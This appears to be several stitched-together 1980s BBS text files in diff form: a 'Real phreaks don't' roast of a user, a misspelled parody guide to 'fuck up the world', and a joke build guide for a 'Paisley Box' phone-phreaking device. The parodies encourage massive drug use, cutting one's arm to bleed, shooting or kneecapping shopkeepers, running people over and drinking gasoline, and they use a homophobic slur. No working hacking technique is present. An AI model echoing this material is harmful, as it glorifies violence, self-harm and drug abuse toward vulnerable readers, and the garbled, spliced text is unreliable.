+Real phreaks aren't religious fanatics (The Preacher, The Pope, The Exorcist,
+Magnetic Pope, All Members of Cult of the Dead Cow, Mr. Zenith's mom, The
+Prophet, Lucifer 666, Angel of Destiny, and Satan [Oh, and Oryan Quest]).
+
+Real phreaks don't use vaseline for mousse (Oryan Quest).
+
+Real phreaks don't eat tacos for breakfast, burritos for lunch, and
+enchilladas for dinner (Oryan Quest).
+
+Corollary:  Real phreaks don't need to get the cheese for their Mexican dinner
+from the government (Oryan Quest).
+
+Real phreaks don't claim to get busted 3 times to make a good reputation as a
+phreaker or hacker for themselves (Oryan Quest).
+
+Real phreaks don't answer to "Paco" (Oryan Quest).
+
+Real phreaks don't use Maintenance Busy in an effort to unleash with full

+
+Real phreaks can rag on better things than an individual's mom (Oryan Quest).
+
+Real phreaks' caps lock didn't get stuck when signing their first message
+after they typed their first name (Oryan QUEST).
+
+Real phreaks don't claim to know more than 65% of the phreak world (Oryan
+Quest).
+
+Real phreaks don't have a girlfriend that needs to shave...their face (Oryan
+Quest).
+
+Real phreaks haven't been around for 4 years without accomplishing something
+(Oryan Quest).
+
+Real phreaks CAN'T argue with their parents in Spanish (Oryan Quest).
+
+Real phreaks don't:
+
+  Cash $5,000,000 checks.
+
+  Card minicomputers.
+
+  Card gold.
+
+  Get busted for hacking but let off due to police brutality (?!?).
+
+  Write books on the topic.
+
+  Say they're from outside of Illinois when working for Illinois Bell.

+
+When your like me and get bored eassily its veryt hard to keep fuctiong the way
+your parents expet you to. I would go out with Killer Kurt all the time and dest
+roy evrything we coiuld find that looked stupid,get drunk off my ass,trip on aci
+d(like im doing righ now),use the necronimiconm to summon a watcher to kill my t
+eachewrs my douchbag bratty sister and the fat sickining son of a bitch that liv
+es next door to me,and my parents would very rarely do anything to try to stop m
+e. i gues they just thought i was goin throuhg a phase or sometihg like that. We
+ll I finalyl hit upon the perfect combination of things to do that not only get
+your parents to reac, the are a hell of a lot of fun and cause so much evil, cha
+os, and havoc that Satan will be sure to reservbe a good seat in Hell for you. S
+o now Here are step by stpe instructins on HOW TO FUCK UP THE WORLD
+
+Step one:Get.a large supply fo plastics garbage bags, gas or other very flammabl
+le shit,and a flamsthrower or somet other way to light fires from a distance (ju
+st to make sure you dont die yourself before your ready).Also i forgot to mentio
+n,take a good amount of drugs befoere you start doin this so youll be able to fi
+nish what you start.I reccommend about three hits of blotter acid (4way album co
+ver is best,thats what i use),about 2 grams of weed (smoked),some mescaline if y
+ou can get it (arizona is a great place to pick it yourself),and of course the g
+ood old american tradition of JACK DANIELS. Most people mix this with coke but I
+have invented a new way to do it,which ya do by mixing it with JOLT cola instead
+. tHIS (godamn fuckin caps lock key) will get you really goin, you may want to
+use some speed as well so you dont pass out and some ludes or other type of down
+er just to keep you balancd well. now make sure you can still stand up (once you
+get that far the rest will come naturaly) and get in yer pickup (if you dont hav
+e a pickup there is no hope for ya!) and drive. Oh remember to take the gas, bag
+s, and light with you.
+
+Step two: Drive to a secluded area and preparew for your assault on the armies o
+f the conformist bastards. What your gonna be doin here is summoning a demon. Th
+is is one of the waeker types according to the Necromnicon so you can control it
+easily in your druged state but powerful enouhg to actually be of use to ya. So
+draw yer pentagram on the ground,get a Slayer tapepl aying (no motley crue!!! or
+the demon will laugh its ass off at you before killing you and eating your soul.
+Adn thats a big waste of time  not to mention no fun at all.) set candles at all
+cardinal points and cut a long incision down the lenght of your arm about frmo
+mid-bicep to just before your wrist as you dont want to bleed to death,just enou
+gh to get about 3/4 of a pint or so. Drip all this blood inside the pent.,and ch
+ant the following:
+       "YOGGIH PPEDRILS, STOWART EHNTAHL SHILGLI DRAGGULS UOHT!"
+Say this5 times and you shoukld noteice the candles flikckering (hmm i blieve th
+e rrUSH is starting to come on nwo, this sucker relly was worht 40 a sheet!!)! B
+y the way that shit up there that ya say is not nay kind of backjwards bullshit,
+it is the real stuff. I paid 40 bux for my copy of the youknowwhat so i oughtta
+know. now where was i o yeah. Onece the damn thing appears thjen you gotta estab
+lish control over it real qiock before it start getting any ideas. by the way in
+caser you wodering what it will look like it is a big motherfucker approx. 20 fe
+eet tall with green leathery sking. If you get the wrong one it doesnt really ma
+tter that much anywayt since youll be dyin soon but it helps. so now get it to f
+ly along above yer truck (tell it to be invisible so ya dont have peopl starin a
+t ya!) and drive back to whereever it is that your gonna destroy.
+
+Step three: stop back at yer house wreal quick and pick up the follwng. If you d
+ont have all this at house then just go by a hardware storte and a drugstore and
+picjk it up. if the owner objkects then just take out his kneecaps with your cro
+wbar and he wont be goin anywhere for a long time.
+30 dozen hammers
+50 gallons of paint (asorted colors is nice but not necesary)
+(jesus this is weird, have any of you ever seen ther letters on yer screen wiggl
+ing and boucing  didnt think so!!) now where was i/
+5-10 tanks of propane
+100+ gallons of gas (for a seperate use than the gas i alreadyu mentiond)
+
+from the drugstore,or your closet if your like me and keep a constant supply of
+every kind of drug ever made):
+1,000 doses of pseudoephedrine (there we go,i spelled it right! well ive got the
+catalog next to me so fuck it anyway,it doesnt mean shit.neuither does your mama
+. i think im getting off track - wel then again it is kind og amazing cause my
+ingers are twichin so bad)
+5,000 doses of LSD
+250 doses of qualudes
+600 cases of JACK DANIELS
+
+ok now for the good part. Consume all of these yourself! HAAHAHA! i bet you thou
+ght you were suposed to put them in the citys water supply or soething! but now
+you better get moving cause this is all gonna take effect within the hour! but i
+f ya wanna save some to put in the citywater then go ahead,you wont have quite a
+s much fun but who the fuck am i to tell you exactly how to do things.
+
+Step four: Drive to the heart of the city. on the way see how many little old la
+dies and fag poodles ya can hit. When ya get to the talest building in town smas
+h into a fire hydrant in front of it. now get out and run like a bitch *just hav
+e the demon carry all the shit for ya*! and go to the FUCKEN TOP of the building
+. here is where you do all this.
+Make the demon inhale all the propane, and give him the smaler amount of gas (th
+e one I talked about first..go back about 70 lins or so./) to drionk. Now hes al
+l set. now YOU have to get on his back. make him carry the hammers and paint and
+the largetr amount of gas. Have him take off and fly all over the city aas he fl
+ys just throw hammers down at building windows and people and paint at both of t
+hose too! Now i bet you thinking i forgot all about those garbage bags and the f
+lamethrowr. Hell no i didnt! with the little bit of propane hes got left have hi
+m blow up the bags so they make a giant baloon. now you take the big amount of g
+as and drink it (after all those other drugs it should be a smnap!) and jump. Wi
+th your weight off him and all that propane in him and with that baloon he will
+instantly take off straight up into heaven, where he will cause some wicked shit
+to happen! As for you, you will fly down and hit the ground, and be goin so fast
+that you go right through all the way to Hell. Once you get there all the gas in
+you will ingite and BOOM! Satan will be proud of you for sure! a perfect ending
+to a perfect day!

+~~~~~~~~~~~~~~~~~~~~~
+
+All right, so i mfucken in 40 cols..what's it matter? i just
+realized that many idoits out ther still dont know how to make one of
+the greatest anarchiust tools ever, the Paisley Box. This little
+beauty will do just about anuyt6hing ya want, including:
+--Seize operator lines
+--Remote control over all TSPS and TOPS consols
+--All other box functions combind in oine, includin blue, beige, and
+blotto
+
+so ya wanna know how to build this fucker and go out terrorizin ma
+bell..well sit tight, we wont bother with any fucken diagrams cause
+those are for dweebs (right necro? right!) here we go!
+
+first of all get about 20 lbs of quality drugs and 3 or 4 kegs. you
+might
+think that you need this for the contruction of the box but, you don't
+you take it all yerself!!
+this will mellow ya out enuf to follow our planz. lessee, oh yea
+parts list:
+ --about 50 ffeet of copper wier, hopfully insulated
+ --an old (prefer touchton) phone that ya dont need no more
+ --a honda genorateer (don't pay for it, just card it. right necro?
+right!)
+ --and one of the empty kegs that ya drank to put it all in. the
+genarater will fit fine and the rest ya can attach to the outsid if
+thats your fucken urge.
+
+now for tha actualy construciton details:
+
+oh shit, we forgot one fuckin thing. go to you local hadware stoer and
+find the guy who owns it, get a gun and blow his fuckin head off (you
+can card the gun two) this isn't for the box but, it fun and it will
+make satan happy so yor box will work better.
+
+now with the empty keg and all the stuf we put up there ( i think
+about 20 lins ofr so up )_ attach the genarater to all the other shit
+however ya please, now get some nice paisley wallpaper from your mom
+9(steal it if she wants it still) and put it all on the oputsid of teh
+keg. you now have a 100% genuine Neon Knights approvd Paisley Box!
+
+How touse:
+
+hook that son of a bithc up to yir modem (thats only if you got a 212
+cat. if you don't then you are an asshole anyway and the box will
+blow you fucken house aprt but, satan will be happy.)
+
+now turn yer dam computer on, and when the prkmpt comes up(
+hardwird into the box of cors! whatdday think we are, stupid? )
+type: 666 (space) SATAN RULES (space) MY SWEET SATAN!
+
+then the menu will coume up on you screen and it will say.
+
+1) fuck the operator around
+2) take control of the pentagon
+3) imitatte boxes (blue, blotto)
+4) fuck-a-geek

+choose whatever ya want, except if ya get tired of it and want to
+trash th thing type 666 for a choice. the box will sef destructt, yer
